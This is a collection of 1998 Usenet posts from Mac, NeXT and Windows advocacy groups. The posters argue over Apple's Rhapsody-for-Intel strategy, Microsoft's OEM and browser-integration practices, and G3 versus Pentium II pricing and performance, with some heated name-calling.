>>Michelle L. Buck wrote:
>>
>>> I agree with you. Apple does not. Apple sites the "1 billion" dollars IBM
>>> spent on drivers for OS/2 as something they do not want to suffer. Apple
>>> clearly believes that they can not afford to provide the Apple experience to
>>> Intel customers.
>>
>>Silly, very silly. Apple's already bitten the bullet on declining to
>>support older PPC machines, why can't it resolve to limit its Intel
>>support to a newer subset? Doing so would make the job ten times easier
>>than IBM's old job of supporting ISA hardware and crufty video
>>subsystems. What's more, Apple can do some obvious things (which it
>>hasn't done) to earn the support of manufacturers to write their own
>>drivers. Hint: when will Apple make a firm committment to OpenGL
>>support? The longer Apple waits, the more work it creates for itself.
>
>I dont think drivers are the problem. The problem is hardware sales and Apple's
>survival. If Apple opens up to Intel hardware then there main source of revenue
>is going to get hammered. Why??? Because people are cheap and like to buy cheap
>things.
How is Apple's hardware business going to get hammered any more than it is
now? People who are dedicated to the PPC have already bought into the PPC.
People who don't aren't going to be convinced by the unavailability of
Rhapsody/MacOS X for their PC to buy a PPC Mac just to be able to run it.
However, if you have one OS running on both platforms you have an instant
point of comparison for end users. Over time, the word gets out - this is
the way it happened for Wintel, and it's the way it will have to happen
for Apple.
>While I would like to see RhapTel I don't want to see Apple die trying to get it
>to everyone (i.e. on Intel).
Apple won't die selling RhapTel for a loss any more than MS has died selling
Windows at a loss. OS development is always a money-losing venture, and
Apple's
OS development overhead is _much_ less than MSs. Apple _will_ die if it
doesn't
expand its share of the desktop computer (hardware) market pronto.
As Apple's hardware business is its main cash cow, then why doesn't Apple
and MS get together in porting NT to the PPC _and_ continue to offer
RhapTel?
That way, Apple will see a big boost in its hardware business (due to the
clear
price/performance advantages of the PPC - and assuming that Apple promotes
this advantage more than it is) and it will promote the PPC market share.
The
more PPC computers out there, the more potential developers for NT/PPC.
And,
as mentioned, the more opportunities for end users to directly compare the
price/performance of the NT/PPC solution and the Rhapsody/MacOS X/PPC
solution.
The obvious answer to this is that MS wouldn't want into this kind of deal.
Apple doesn't have control of NT/PPC, but it can still offer RhapTel. One
point
of comparison gives Apple more of a chance in the Wintel market than none.
The upshot is that, while Apple obviously sees that it needs to protect its
hardware sales, its involvement and myopic commitment to Rhapsody/MacOS is
blinding it from doing precisely the things it needs to do to advance its
hardware business - either in abandoning the PPC and developing exclusively
for the IA-64, or in promoting PPC as an alternate desktop platform by
moving
to dominant OS to it. The result is that Apple's new proprietary OS
strategy and
their hardware strategy severely compromise each other.
-----
William Whitehouse whitehou@soltec.net
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 28 May 1998 19:55:11 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6kkfev$ojb$1@news.cs.tu-berlin.de>
References: <6kj771$3v3$1@ironhorse.plsys.co.uk> <B1927A7F-2C857@206.165.43.156> <6kjhrh$2fh$1@bartlet.df.lth.se> <rex-2805981447420001@192.168.0.3>
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rex@smallandmighty.com (Eric King) writes:
[lots deleted]
> However, both are now 'dead,' does it really make much sense to
>continue to use 3x2s in Mac OS X? If you use 3x2s anyone making an
>illustration app is going to have to either special-case perspective or
>write their own matrix-handling routines. I'm sorry, it's just a needless
>step backwards.
..or use the ones supplied by the apparently supported 3D library
on the same system..?
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: "William Whitehouse" <garyseven@geocities.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Ummm, excuse me, mr jobs?
Date: Thu, 28 May 1998 14:57:55 -0500
Organization: The Voodoo Assassination Project
Message-ID: <6kkfan$jot$1@news10.ispnews.com>
References: <6kfqnb$4jj$1@newsfep2.sprintmail.com>
<jayfar-2605982311490001@downtown1-18.slip.netaxs.com>
<6kg83m$k24$2@nntp2.ba.best.com>
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NNTP-Posting-Date: 28 May 1998 19:52:55 GMT
----------
In article <6kg83m$k24$2@nntp2.ba.best.com>, mr_boxster@nospam_yahoo.com
(MR_boxster) wrote:
>In article <jayfar-2605982311490001@downtown1-18.slip.netaxs.com>,
>jayfar@netaxs.com (Jayfar) wrote:
>
>>In an interview with Dave Mark in the May issue of MacTech (not online),
>>Steve Wozniak comments that Jobs doesn't even use a Mac and won't because
>>he considers it "crappy."
>>
>Thats why he uses a Thinkpad w/ Openstep.. And his daughter uses Windows 95
He prefers a Thinkpad with Openstep, but doesn't see the sense in committing
to Rhapsody for Intel?
Seems like the reality distortion field works in both directions.
-----
William Whitehouse whitehou@soltec.net
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 28 May 1998 12:58:01 -0700
Organization: Primenet (602)416-7000
Message-ID: <6kkfk9$e60@nntp02.primenet.com>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <arman.afagh-2705982330280001@mcrubs1102.med.nyu.edu> <356ce269.0@206.25.228.5> <gmgraves-2805981058140001@sf-usr1-44-172.dialup.slip.net>
George Graves <gmgraves@slip.net> wrote:
: In article <356ce269.0@206.25.228.5>, jkheit@xtdl.com wrote:
: > And I still
: > see that there will always be mac apologists that will stretch
: > and make any kind of willfully blind excuses to explain why what
: > is a blatant reality only *seems* that way to dumb people who
: > haven't seen the light.
: Well, which is worse; a Mac apologis, or a Wintel ostrich? One
: who touts the Mac advantage, or one who blindly refuses to
: face the reality that his choice of platform is a poor performing
: difficult to use, antiquated mess quickly on its way to the museum?
The _only_ reason I'm in this thread is that annoys me to see you, George
Graves, make up prices to support your case. Macs and PCs are both cheap
enough that most people can buy a fast machine in their flavor of choice.
George, you first claimed that PII 400 systems sold for 2600-3000 dollars.
I'm sure they do. They also sell for less. When offered a well
configured system for $1900 you skipped blandly ignored the feature set.
George, you are not a kool-aid drinker, you are a kool-aid mixer!
At http://www.env.com/cgi-bin/env/syscalc.pl you can configure this PII
400 system with a 17 inch monitor for $1999 cash price:
PII 400 MHz
BX chipset, AGP motherboard
64 MB RAM
6.0 GB HD
4 MB AGP 3D graphics card
32x CDROM
17" 0.26 DP SVGA monitor
etc.
Your case would be better served with a little truth,
John
From: rfelts@. (Roger)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 28 May 1998 20:15:12 GMT
Organization: gte.net
Message-ID: <6kkgab$e0l$12@gte2.gte.net>
References: <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k883d$okb$4@strato.ultra.net> <356f8bcf.2366573@news.supernews.com>
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On Wed, 27 May 1998 04:00:09 GMT, someone claiming to be T. Max Devlin
wrote:
>Good point. But doesn't pre-installation of Netscape (and specific
>replacement of IE) bring down the wrath of Microsoft?
No. Cases in point, Sony and Gateway.
>We _know_ that MS
>has asked computer vendors who include NS, but not IE, on the desktop,
>are threatened with removal of Windows licenses. Wouldn't changes to
>the default registry settings for associations cause the same problem?
Since the contract language deals with the appearance of the desktop,
no.
>It is impractical, therefore infeasible, therefore ludicrous, to expect
>a vendor to differentiate the first login from the last...
No, it's quite easy. All it would take is a batch file in the startup
group which deletes itself as its last act (or delete itself and then
restart the system.)
>Says Microsoft? What exactly does the gov't ask for? I hardly think it
>is as general as "Microsoft give up its right to display the Windows
>user interface when consumers turn on a new PC running Windows for the
>first time."
If the OEM is allowed to arbitrarily change the state of the desktop,
there is nothing in the standard OEM contract to prohibit them from
installing any other shell.
Note that I do not think that this would be a bad thing.
Also note that Gateway, with the Blessing of Bill <g>, will be doing
this on their new boxes.
From: rfelts@. (Roger)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 28 May 1998 20:15:08 GMT
Organization: gte.net
Message-ID: <6kkga7$e0l$10@gte2.gte.net>
References: <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <ericb-2405981848570001@132.236.171.104> <6kai2u$89m$1@gte2.gte.net> <ericb-2605981515000001@132.236.171.104>
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On Tue, 26 May 1998 15:15:00 -0400, someone claiming to be Eric
Bennett wrote:
>The author says that Microsoft execs admit it:
My point exactly. The author says. More assertion. Did he write
"Steve Ballmer, in a speech to industry insiders on the eve of
Comdex..."
No.
Exactly where and when was this admission made?
>"They admit that their own developers sometimes get an edge in knowing how
>to take advantage of new Windows features before the knowledge spreads to
>competitors."
From: rfelts@. (Roger)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 28 May 1998 20:15:09 GMT
Organization: gte.net
Message-ID: <6kkga8$e0l$11@gte2.gte.net>
References: <6jb7i9$d0l$1@nnrp1.dejanews.com> <rmcassid-1305980120280001@dialin33423.slip.uci.edu> <6jgf0l$fvt$1@nnrp1.dejanews.com> <rmcassid-1505981205450001@dante.eng.uci.edu> <6jl4vq$pqa$1@nnrp1.dejanews.com> <rmcassid-1805981355460001@dante.eng.uci.edu> <6jr0kn$ij5$1@antares.en.com> <356512fc.258067534@news.supernews.com> <6jvgbq$jo1$1@nnrp1.dejanews.com> <35c68fc9.353563848@news.supernews.com> <6k6v64$gu7$1@nnrp1.dejanews.com> <357b26b9.31161519@news.supernews.com>
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On Tue, 26 May 1998 21:23:23 GMT, someone claiming to be T. Max Devlin
wrote:
>dpetticord@hotmail.com, on Sat, 23 May 1998 16:57:41 GMT,
>>Just how do you propose to legally stop Microsoft from just giving the
>>"appearance of accommodating competition"?
>By ensuring that the criteria (a competitive market) supersedes the
>mechanism (Microsoft accommodating competition). If whatever Microsoft
>does maintains their monopoly in the OS market, then they are not truly
>accommodating competition. Sometimes, you have to work yourself out of
>a job, or you're just ripping off your employer/customer. ;-)
I read this as, no matter what steps are taken, if MS remains
successful, or if no one else becomes successful, MS is only giving
the appearance.
Is that what you mean to say?
>>Sorry, I am not sure how your response is connected to mine.
>>You made some good points, but I thought we were discussing the
>>vulnerability of Windows.
>
>My point was that Windows is not vulnerable as long as MS is allowed to
>maintain apps without competition (that is, fair access to the OS).
What do you mean by "fair access."
>>Microsoft may be guilty of a lot of things, but I believe they are better
>>than most in giving equal access to "any interested app developer". For
>>a nominal fee anyone can sign up for the MS Developer Network. This
>>gives you all the latest developer kits, knowledge bases and Beta releases.
>>
>>The biggest exception to that would be any special treatment they give to
>>their own developers that they do not put in the MSDN.
>Bingo! So much for equal access to any interested app developer. Don't
>you see, until you realize that MS apps developers should never have
>more access than other app developers, the situation is entirely
>anti-competitive.
Okay, and do either you have proof that MS developers routinely get
"special treatment?"
From: rfelts@. (Roger)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 28 May 1998 20:22:43 GMT
Organization: gte.net
Message-ID: <6kkg8n$2h7$1@gte1.gte.net>
References: <rmcassid-1805981 <rmcassid-1905980044070001@dante.eng.uci.edu> <6js61j$g18$1@inconnu.isu.edu> <6jtgid$vp6$5@ligarius.ultra.net> <Josh.McKee-2005981950070001@pm3a17.rmac.net> <6k1862$vn6$3@strato.ultra.net> <Josh.McKee-2105981832300001@pm3a23.rmac.net> <6k2sok$l4r$3@strato.ultra.net> <Josh.McKee-2205981814520001@pm3a24.rmac.net> <6k6rm4$nkn$3@ligarius.ultra.net> <see-below-2305981537470001@209.24.241.7> <6k7k07$cs1$1@news.ox.ac.uk> <35779ed6.7238238@news.supernews.com>
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On Wed, 27 May 1998 05:10:09 GMT, someone claiming to be T. Max Devlin
wrote:
>"David McCabe" <david.mccabe@balliol.oxford.ac.uk>, on Sat, 23 May 1998
>>>> I don't get it. Why would it be "much more difficult"? What would the
>>>> problem be? Are you suggesting that Microsoft has left something
>>>> undocumented, such that only "the developer of the OS" could successfully
>>>> implement this feature?
>>>Yes.
>>Please substantiate your argument. Give examples, technical references,
>>whatever. Please explain to me why, despite the integration level, Netscape
>>can't simply implement the same documented interfaces and replace the
>>pointers in the Registry.
>Now Dave, here, he's a complete and utter fuck-head. The brains of an
>idiot. "John Saunders" at least had the humility to appear like a
>troll. You're just an "instigator", David. You have no point, you'll
>just get your jollies feeling like you've accomplished something by
>jumping in the middle of a discussion and asking for back-references.
Have you anything technical to actually add to this discussion, or are
you just venting your spleen again? This is the second message
tonight that you have responded to a technical point, not with
information to the contrary, but with bile.
Did someone run over your dog?
>Or maybe you're just a Department of Justice lawyer looking for ideas.
>If you needed help, Dave, you could have just asked. I'll be happy to
>provide some consulting and investigation to "substantiate your
>argument. Give examples, technical references, whatever. Please explain
>to me why, despite the integration level, Netscape can't simply
>implement the same documented interfaces and replace the pointers in the
>Registry". For a fee.
Okay, lets agree on a figure. But when you can't, you agree to pay me
a like amount, 'kay?
From: rfelts@. (Roger)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 28 May 1998 20:32:22 GMT
Organization: gte.net
Message-ID: <6kkgqq$2h7$3@gte1.gte.net>
References: <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357ba518.8840821@news.supernews.com>
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On Wed, 27 May 1998 05:33:20 GMT, someone claiming to be T. Max Devlin
wrote:
>"John Saunders" <jws@jws.ultranet.com>, on Sat, 23 May 1998 12:25:46
> [to T. Max Devlin]
> [...]
>>I think you must be losing the context of the thread.
>>
>>I said that if Netscape wanted to be a "web browser library", then all
>>they'd have to do is implement the interfaces Microsoft documented.
>>
>>Then Darrin Johnson wrote that it was ingenuous in that the IWebBrowser
>>interface was already in IE 3.0 and was closely related to it, but that
>>Netscape was implemented differently and so would find it difficult to
>>implement an interface intended for IE.
>>
>>[* digression deferred here]
>>
>>Then Darrin said that this was another example of MS applications getting a
>>boost from the OS group.
>>
>>I then responded that I didn't know which applications he was referring to.
>>Since we had been discussion IWebBrowser*, I asked if he meant the
>>applications which used those interfaces to render HTML. I indicated I
>>didn't think those were the ones he meant, since they presumably use the
>>same interfaces as everyone else.
>>
>>So, while I would be glad some day to discuss any proof you may have about
>>MS applications developers getting special help from the OS group, that's
>>not what we were discussing in this thread. Perhaps you'd like to start
>>another topic?
>
>Perhaps you'd like to document your contention that everything you have
>just said is not a confusing pile of crap meant to hide the fact that
>want to steer the discussion away from reality?
I believe you mentioned that it was "one of those nights" for you.
Might I suggest that you not read and post when you are in such a
state. John clearly invited further discussion on the current topic
and additional discussion on another.
You seem to be acting fairly trollish yourself tonite, a state you
decry in no uncertain terms in others...
From: fretwiz@ix.netcom.com (fretwiz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Ummm, excuse me, mr jobs?
Date: Thu, 28 May 1998 14:49:48 -0600
Organization: ICGNetcom
Message-ID: <fretwiz-2805981449550001@den-co15-15.ix.netcom.com>
References: <6kfqnb$4jj$1@newsfep2.sprintmail.com> <jayfar-2605982311490001@downtown1-18.slip.netaxs.com> <6kg83m$k24$2@nntp2.ba.best.com> <6kkfan$jot$1@news10.ispnews.com>
In article <6kkfan$jot$1@news10.ispnews.com>, "William Whitehouse"
<garyseven@geocities.com> wrote:
> He prefers a Thinkpad with Openstep, but doesn't see the sense in committing
>
> to Rhapsody for Intel?
Probably because Apple gets its revenue from hardware sales, not software.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 28 May 1998 13:02:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B19310E3-26E8D@206.165.43.179>
References: <jak-2805981110120001@fdialup162.phnx.uswest.net>
To: "John Kestner" <jak@asu.edu>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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John Kestner <jak@asu.edu> said:
>I'm curious - is there some article which says that Apple customers want
>3D perspective for editable text? I'd like to know who wants it, and where
>you got the info.
My information comes from chatting with friends who use Macs to produce
graphics, either professionally, or for personal use
(letters/posters/greeting cards/etc). THEY have a use for editable 3D
perspective text.
>I'm primarily a graphic designer, and while editable text after applying
>effects is nice (ala Photoshop 5), I can't see why anyone would want 3D
>perspective editable text so badly. If you actually felt the need for 3D
>text (which should be rare), editability wouldn't be a big problem since
>it would only be used in titles. And is perspective so important? What's
>wrong with a simple drop shadow?
I think that you've misunderstand what I've been talking about.
Think
Star Wars
Think Kool effects
And Use the Force, Luke
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
>I'm curious - is there some article which says that Apple customers want
>3D perspective for editable text? I'd like to know who wants it, and where
>you got the info.
My information comes from chatting with friends who use Macs to produce
graphics, either professionally, or for personal use
(letters/posters/greeting cards/etc). THEY have a use for editable 3D
perspective text.
>I'm primarily a graphic designer, and while editable text after applying
>effects is nice (ala Photoshop 5), I can't see why anyone would want 3D
>perspective editable text so badly. If you actually felt the need for 3D
>text (which should be rare), editability wouldn't be a big problem since
>it would only be used in titles. And is perspective so important? What's
>wrong with a simple drop shadow?
I think that you don't understand what I've been talking about.
Think
Star Wars
Think Kool effects
And Use the Force, Luke
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: rfelts@. (Roger)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 28 May 1998 20:28:52 GMT
Organization: gte.net
Message-ID: <6kkgk9$2h7$2@gte1.gte.net>
References: <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <chrisj-1905981341480001@usr2a12.bratt.sover.net> <6jtgif$vp6$8@ligarius.ultra.net> <35cfaa27.360314511@news.supernews.com> <6k6rm6$nkn$5@ligarius.ultra.net> <3578a103.7795788@news.supernews.com>
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On Wed, 27 May 1998 05:18:50 GMT, someone claiming to be T. Max Devlin
wrote:
>No, I just told you (accurately) that the only reason your earlier
>description of success in launching a browser from the app you developed
>was because Microsoft provided both the OS and the browser.
Please read for comprehension this time. John was not discussing
launching a browser from his app.
He was discussing calling the functionality of the OS to render the
HTML right there in his app. No separate launch. User may not even
know they're looking at John's HTML.
Understand?
>Now, had
>your OS _or_ your browser been available from separate vendors, you
>couldn't have "integrated" web browsing so easily, as Microsoft doesn't
>actually _support_ competition on its operating system for its
>applications, or for its applications on its operating system.
Yes, he could have, because what he is using is * not * the browser.
It's the rendering .DLLs the OS provides.
Which functionality is modular, and could be replaced with another
.DLL which exposes the same interfaces. Which interfaces are publicly
documented.
>Did you parse that?
Did you?
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Fri, 29 May 1998 06:58:34 +1000
Organization: University of Queensland
Message-ID: <6kkitl$elu$1@nargun.cc.uq.edu.au>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <356c6872.0@206.25.228.5> <gmgraves-2705981748120001@sf-usr1-24-152.dialup.slip.net> <6kiqjf$q38$1@nargun.cc.uq.edu.au> <gmgraves-2805981020030001@sf-usr1-44-172.dialup.slip.net>
George Graves wrote in message ...
>In article <6kiqjf$q38$1@nargun.cc.uq.edu.au>, "Christopher Smith"
><drsmithy@usa.net> wrote:
>
>>
>> So where can I buy a 300Mhz G3 for $1600 ?
>
>Club Mac
>
>233MHz G3 desktop machine. 32 Megs of RAM (and your choice of either
another
>32 megs of RAM or VPC w Win95 for free), 24X CDROM, 4 GB. -$1599
>This machine also comes bundled with either HomePage 3.0 or Object Dancer,
>whichever you prefer. $1899 buys you the same package with a 266 MHz G3
>1-800-260-5109
Ok George, I'll say it again *really* slowly so you don't miss it:
"Where can I buy a *300Mhz* G3 for $1600" (so as to be faster than a 400Mhz
pII).
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Fri, 29 May 1998 06:58:52 +1000
Organization: University of Queensland
Message-ID: <6kkiu7$gjp$1@nargun.cc.uq.edu.au>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <356c6872.0@206.25.228.5> <gmgraves-2705981748120001@sf-usr1-24-152.dialup.slip.net> <6kikm0$5vs@nntp02.primenet.com> <gmgraves-2805981021570001@sf-usr1-44-172.dialup.slip.net>
George Graves wrote in message ...
>In article <6kikm0$5vs@nntp02.primenet.com>, John Jensen
><jjens@primenet.com> wrote:
>
>> George Graves <gmgraves@slip.net> wrote:
>> : High prices. $1600 will buy you a G3 Mac which is MUCH faster than a
>> : 400 MHz PII (currently the fastest there is) How much does a 400 MHz
>> : PII cost? $2600-$3000? High priced Macs indeed.
>>
>> PII 400Mhz
>> 100 MHz System Bus
>> AGP Graphics card with 8MB SDRAM and 3D acceleration
>> 64MB RAM
>> 6.4 GB HD,
>> DVD w/ MPEG II decoder
>> etc.
>>
>> $1900
>>
>> www.boldata.com
>>
>> John
>
>That still ain't $1600!
Neither is a 300Mhz G3.
>
>George Graves
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Fri, 29 May 1998 07:03:30 +1000
Organization: University of Queensland
Message-ID: <6kkj6t$9l7$1@nargun.cc.uq.edu.au>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <6kiqhr$22u$1@nargun.cc.uq.edu.au> <gmgraves-2805981033260001@sf-usr1-44-172.dialup.slip.net>
George Graves wrote in message ...
>In article <6kiqhr$22u$1@nargun.cc.uq.edu.au>, "Christopher Smith"
><drsmithy@usa.net> wrote:
>
>> Ike Gilbert wrote in message ...
>> >In article <6kf6jk$mcf$1@newsfep2.sprintmail.com>,
macghod@concentric.net
>> wrote:
>> >
>> >> Pentium II 300Mhz System€
>> >>
>> >> Intel Pentium II processor,
>> >
>> >The PowerPC G3 has been proven to be consistantly faster than the PII.
>>
>> Sure, but by the time you put it into a system your G3 processors costs
>> more.
>
>G3 233MHz, 64 MB RAM, 4 GB, 24XCD = $1599
>Cheap 400 MHz PII @ $2300
And a 233Mhz G3 is nowhere near as fast as a 400Mhz pII.
>>
>> >
>> >> M715€ motherboard,
>> >> 64Mb SDRAM,
>> >
>> >True, the G3 only comes with 32MB standard, but you can add more RAM for
>> >pretty cheap.
>>
>> Unless you buy it from Apple.
>
>Club Mac GIVES you an extra 32 Megs when you buy their $1599 233MHz G3.
Club Mac != Apple.
>>
>> >
>> >> L2 Pipelined Burst Cache, 512k,
>> >
>> >The G3 uses a 512k BACKSIDE cache, which I believe is faster than a L2
>> >pipelined burst cache.
>
>By quite a bit. It has its OWN memory bus connecting it to the processor.
>>
>> Both the pII and the G3 use the same type of cache.
>
>I don't think so. If they do, the PII's implementation is really lousy!
They are the same thing, and don't forget intel had it first with the PPro.
>> >> 32-speed CD-Rom drive with audio,
>> >
>> >The G3 comes with a 24 speed CD-ROM, and macs have always been able to
>> >play audio CD's from their internal/external CD drives. The PC CD-ROM
is
>> >33% faster than the one which comes in the G3, but I wouldn't think that
>> >would cause a bottleneck in using software, especially since most
>> >developers plan for only a quad speed CD-ROM.
>
>Someone did a test recently of these 24 and 33X CD ROMs. The result was
that
>the difference between a 24X and a 33X was mostly in the mind of the
>manufacturer's marketing dept. The testers could find NO case where the 33X
>was faster than the 24X and in most cases neither was consistently faster
>than a 16X; probabaly for the reason you give, above.
Actually it has to do with the spinup times of drives faster than 16X (and
even some 16X drives) - by the time your superfast CDROM has spun up to
operating speed, the "slower" drive has already found the data and is
reading it off - hence unless you're reading a *large* amount of data off
the drive, any drive faster than 16X is pretty irrelevant. The other reason
being a 24X CDROM is getting very close to the max data xfer rates of a lot
of IDE drives.
>
>George Graves
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 28 May 1998 20:59:36 GMT
Organization: I don't think so
Message-ID: <slrn6mrk8v.3b2.jason@jhste1.dyn.ml.org>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <6ki1sh$qcr$1@newsfep3.sprintmail.com> <joe.ragosta-2705982038040001@elk54.dol.net> <6kifon$4ed$1@newsfep3.sprintmail.com> <joe.ragosta-2805981143250001@wil92.dol.net> <6kkd5m$mjn$1@newsfep4.sprintmail.com>
macghod@concentric.net posted the following to comp.sys.mac.advocacy:
>You are full of horse doo doo and you know it. Codewarrior is used by the
>vast majority of developers. What are the byte scores using a symantec
>compiler Joe? Come on, you say cw is "the slowest", so you should be fine
>with symantec. Instead, you rely on a compiler, moto 3.0 dr that will never
>be used by any programmers because it is not even available to them
>And saying a MICROSOFT compiler is the fastest is so much bull it is funny.
>How does egcs under linux do for a p2 joe? SImply put Joe, you LIED. What
>else is new.
Why do you assume that egcs under Linux would be faster than the Microsoft
compiler? Its cousin gcc is known for producing code not well optimized
for Pentium (not sure how this impacts Pentium II, though). Unless you
have actual numbers showing egcs to beat the Microsoft compiler, don't
accuse Joe of lying.
--
In my opinion MS is a lot better at making money than it is at making
good operating systems.
-- Linus Torvalds (http://www.twics.com/~tlug/linus.html)
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Fri, 29 May 1998 07:10:58 +1000
Organization: University of Queensland
Message-ID: <6kkjkt$cpg$1@nargun.cc.uq.edu.au>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <arman.afagh-2705982330280001@mcrubs1102.med.nyu.edu> <356ce269.0@206.25.228.5> <gmgraves-2805981058140001@sf-usr1-44-172.dialup.slip.net>
George Graves wrote in message ...
>In article <356ce269.0@206.25.228.5>, jkheit@xtdl.com wrote:
>
>> arman.afagh@med.nyu.eduNOSPAM (Arman Afagh) wrote:
>> > After reading this post, and macghod's (and other's) subsequent
>> > replies, am I the only one who thinks that macghod is full of
>> > shit and has no intention of buying a new computer. Even if he
>> > is, he made no consideration of the Mac. He's set up this post
>> > as a straw man so that he can shoot down the Mac as being more
>> > expensive than a pc of lesser quality. Furthermore, one of his
>> > big points seems to be that the Mac has less RAM. Well, Apple
>> > is offering the 32 MB of RAM for free. Most of the other
>> > differences are hardly significant. Macghod has no intention of
>> > even considering buying an Apple-produced machine (given how much
>> > he's expounded his bitter hatred and venemous disgust for Apple
>> > in this thread and others), and this thread is a complete straw
>> > man.
>>
>> Well, I sure as heck don't know what his or other's intentions are,
>> but I do know one thing.
>
>I know one thing too. PCheads will always deny that Macs are faster
>no matter how many times they are told, no matter how many tests
>prove it. They are incapable of believing that Intel/MS has let them
>down, and that while they snuggled up in their warm cocoon of 90%+
>market share, the tortoise won the race (or at least this leg of it).
>No wonder the Intel "suits" are called bunny suits.
